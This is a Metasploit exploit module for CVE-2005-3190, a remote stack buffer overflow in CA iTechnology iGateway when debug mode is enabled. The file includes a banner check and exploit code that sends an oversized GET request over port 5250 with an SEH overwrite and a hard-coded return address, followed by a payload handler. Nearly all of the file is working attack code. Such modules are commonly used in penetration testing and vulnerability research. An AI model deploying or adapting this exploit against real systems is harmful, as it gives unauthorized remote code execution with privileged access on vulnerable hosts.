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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Exploit::Seh
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'CA iTechnology iGateway Debug Mode Buffer Overflow',
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        'Description' => %q{
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          This module exploits a vulnerability in the Computer Associates
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          iTechnology iGateway component. When <Debug>True</Debug> is enabled
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          in igateway.conf (non-default), it is possible to overwrite the stack
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          and execute code remotely. This module works best with Ordinal payloads.
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        },
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        'Author' => 'aushack',
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2005-3190' ],
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          [ 'OSVDB', '19920' ],
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          [ 'URL', 'http://www.ca.com/us/securityadvisor/vulninfo/vuln.aspx?id=33485' ],
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          [ 'EDB', '1243' ],
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          [ 'BID', '15025' ],
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        ],
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        'DefaultOptions' => {
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          'EXITFUNC' => 'seh',
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        },
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        'Payload' => {
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          'Space' => 1024,
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          'BadChars' => "\x00\x0a\x0d\x20",
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          'StackAdjustment' => -3500,
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          'Compat' =>
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                      {
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                        'ConnectionType' => '+ws2ord',
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                      },
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          [ 'iGateway 3.0.40621.0', { 'Ret' => 0x120bd9c4 } ], # p/p/r xerces-c_2_1_0.dll
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        ],
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        'Privileged' => true,
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        'DisclosureDate' => '2005-10-06',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(5250),
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      ]
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    )
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  end
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  def check
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    connect
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    sock.put("HEAD / HTTP/1.0\r\nHost: #{rhost}\r\n\r\n")
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    banner = sock.get_once
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    if (banner.to_s =~ /GET and POST methods are the only methods supported at this time/) # Unique?
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      return Exploit::CheckCode::Detected
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    end
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    return Exploit::CheckCode::Safe
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  end
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  def exploit
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    connect
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    seh = generate_seh_payload(target.ret)
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    buffer = Rex::Text.rand_text_alphanumeric(5000)
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    buffer[1082, seh.length] = seh
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    sploit = "GET /" + buffer + " HTTP/1.0"
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    sock.put(sploit + "\r\n\r\n\r\n")
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    disconnect
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    handler
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  end
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end
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